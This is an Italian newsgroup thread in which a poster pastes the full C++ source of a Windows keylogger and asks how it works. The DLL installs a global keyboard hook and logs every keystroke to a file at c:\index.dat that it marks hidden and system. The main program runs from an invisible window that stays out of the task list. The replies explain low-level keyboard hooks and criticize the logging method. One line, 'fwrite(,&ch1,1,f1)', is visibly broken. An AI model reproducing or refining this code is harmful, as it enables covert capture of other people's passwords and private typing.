Newsgroup: it.comp.programmare.win32
Titolo: Interpretazione codice keylogger

Potreste spiegarmi queste righe di codice?
Perchè bisogna creare la DLL?
E soprattutto dov'è che si ricevono i messaggi della tastiera?
Conosco il c++ ma non conosco la programmazione sotto windows...
Grazie
CODICE DELLA DLL
#include "HookKeys.h"
//the following is to allow the sharing of data between instances of
this dll...
#pragma data_seg(".SHARDAT")
static HHOOK hkb=NULL;
FILE *f1;
char filename[256]={"c:\\index.dat"}; //initializing string to default
location...
#pragma data_seg()
HINSTANCE hInstance;
/**************************************************
main procedure.....................................
**************************************************/
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwreason,  LPVOID lpReserved
)
{
    switch(fdwreason)
	{
    case DLL_PROCESS_ATTACH:
		//to speed things up, disable recieving of messages in subsequent
loaded copies
		DisableThreadLibraryCalls( hInst );
		hInstance = hInst;
    break;
    case DLL_THREAD_ATTACH:
    // A thread is created. Do any required initialization on a per
thread basis
    break;
    case DLL_THREAD_DETACH:
    // Thread exits with  cleanup
    break;
    case DLL_PROCESS_DETACH:
    // The DLL unmapped from process's address space. Do necessary
cleanup
		UnHook();
    break;
    }
    return TRUE;
}
/******************************************************
This is the keeyboard hook procedure that all keyboard 
input will be filtered through in each process
*******************************************************/
LRESULT WINAPI CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM
lParam)
{
	char ch;
	char locname[80];
	strcpy(locname,filename);//must not pass shared pointers to other
process's so we are copying to a local variable
							//before passing the variable name outside of this routine.......
	if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))//some of this if
block was copied from
	{												//a tutorial on CodeProject named "installhook",
													//the rest is mine though.....
		if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f )
&&(wParam<=0x100))
		{
			f1=fopen(locname,"a+");
			if (wParam==VK_RETURN)
			{	
				ch='\n';
				fwrite(,&ch1,1,f1);
			}
			else
			{
   				BYTE ks[256];
				GetKeyboardState(ks);
				WORD w;
				UINT scan;
				scan=0;
				ToAscii(wParam,scan,ks,&w,0);
				ch =char(w); 
				fwrite(&ch,1,1,f1);
			}
			fclose(f1);
		}
	}
	LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );	
	return  RetVal;
}
/************************************************
Called to install the hook...pass TRUE to 
overwrite any existing log file...FALSE to retain
and append to an existing file .................
************************************************/
BOOL WINAPI InstallHook(BOOL overwrite)
{
	if(overwrite)
	{
		SetFileAttributes((LPCTSTR)filename,FILE_ATTRIBUTE_ARCHIVE);
		f1=fopen(filename,"w");
		fclose(f1);
	}
SetFileAttributes((LPCTSTR)filename,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
	hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hInstance,0);
	return TRUE;
}
/************************************************
Called to UnHook from the keyboard....not usually 
called by the user though....it is automatic when 
client that started the hook exits...............
************************************************/
BOOL WINAPI UnHook()
{
     BOOL unhooked = UnhookWindowsHookEx(hkb);
     return unhooked;
} 
/************************************************
call this function to set a path for the log file
other then the default..which is c:\index.dat....
************************************************/
void WINAPI SetSavePath(char *file)
{
	if(strlen(file))
	{
		strcpy(filename,file);
	}
}
CODICE DEL MAIN
#include "KeyLogger.h"
//the following retrieves the command line parameters...
bool getParams(TCHAR *p1, TCHAR *p2, TCHAR *src);
//WinMain....where all the work is done....
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR
lpCmdLine,int nCmdShow)
{
	//variables
	HWND hwnd;
    WNDCLASSEX wincl;
	TCHAR name[]={"_FALLENHOBIT"};
	hInst = hInstance;
	MSG messages;
	LPTSTR commands = GetCommandLine();
	TCHAR p1[80];
	TCHAR p2[80];
	TCHAR over[80];
	int x = 0;
	HINSTANCE hinstDLL;
	inshook instkbhook;
	setsv SetPath;
	BOOL overwrite;
	//getting command line parameters
	x = getParams(p1,p2,(TCHAR*)commands);
	//filling out the window structure....setting most members to zero or
null
	wincl.hInstance = hInstance;
	wincl.lpszClassName = name;
	wincl.lpfnWndProc = WndProc;
	wincl.style = 0;
	wincl.cbSize = sizeof(WNDCLASSEX);
	wincl.hIcon = NULL;
	wincl.hIconSm = NULL;
	wincl.hCursor = NULL;
	wincl.lpszMenuName = NULL;
	wincl.cbClsExtra = 0;
	wincl.cbWndExtra = 0;
	wincl.hbrBackground = 0;
	wincl.lpszMenuName = NULL;
	//register our new class..
	if(!RegisterClassEx(&wincl)) return 0;
	//create the non-visible window..thanks to the setting most members to
zero...it wont show up in the task list
	hwnd =
CreateWindowEx(0,(LPCTSTR)name,"",0,0,0,0,0,HWND_DESKTOP,NULL,hInstance,NULL);
	ShowWindow(hwnd,SW_HIDE);
 
	//if they passed the needed parameters
	if(x)
	{		
		_tcscpy(over,p2);
		convUp(over);
		if(testStrings(over,"TRUE"))//converting param 2 from string to BOOL
		{
			overwrite=TRUE;
		}
		else
		{
			overwrite=FALSE;
		}
		//load the library and hook into the keyboard
		hinstDLL = LoadLibrary((LPCTSTR) "HookKeys.dll");//loading the library
		instkbhook = (inshook)GetProcAddress(hinstDLL, "InstallHook"); //get
the procedure adresses
		SetPath = (setsv)GetProcAddress(hinstDLL,"SetSavePath");
		(SetPath)(p1);//calling the procedures
		(instkbhook)(overwrite);
	}
	//now that all that mess is done, start the 
	//message loop and let this exe remain idle....it's just here so that 
	//our hooks dont get removed...................
	while(GetMessage(&messages, NULL, 0, 0))
	{
		TranslateMessage(&messages);
		DispatchMessage(&messages);
	}
    return 0;
}
//this is needed by the idle exe
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
	//send any messages to windows default procedure
   return DefWindowProc(hWnd, message, wParam, lParam);
}
//this processes the command line params
bool getParams(TCHAR *p1, TCHAR *p2, TCHAR *src)
{
	//variables
	int x=0;
	int y=_tcslen(src);
	int ret = 0;
	TCHAR temp1[80];
	_tcscpy(temp1,src);
	//search for first instance of param break
	x = findchar(temp1,' ');
	if(x>-1)
	{
		right(temp1,y-(x+1));//strip off prog name....
 
		y=_tcslen(temp1);//get new length
		x = findchar(temp1,' ');//find first loc of next space
		if(x>-1)
		{
			_tcscpy(p1,temp1);//copy over string
			left(p1,x);//strip to first arg
			right(temp1,y-(x+1));//strip to second arg
			_tcscpy(p2,temp1);
			ret = 2;
		}
	}
	return (bool)ret;
}
-- 
Posted via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 LRESULT WINAPI CALLBACK KeyboardProc
se la setti come WH_KEYBOARD il virtual key code è il "wParam"
se la setti come WH_KEYBOARD_LL ( e se usi nt/2000/xp ti consiglio 
questa) l'"lParam" è un puntatore ad una struttura KBDLLHOOKSTRUCT
typedef struct
{
     DWORD vkCode;
     DWORD scanCode;
     DWORD flags;
     DWORD time;
     ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
ciao

 E soprattutto dov'è che si ricevono i messaggi della tastiera?
Questa invece è una domanda senza senso. Chiaramente si ricevono nella
KeyboardProc (dove si vede chiaramente la tua inesperienza. Solo un
novellino aprirebbe e chiuderebbe un file ogni volta che qualcuno preme un
tasto. Usa un altro metodo, non di sicuro questo).
--- bye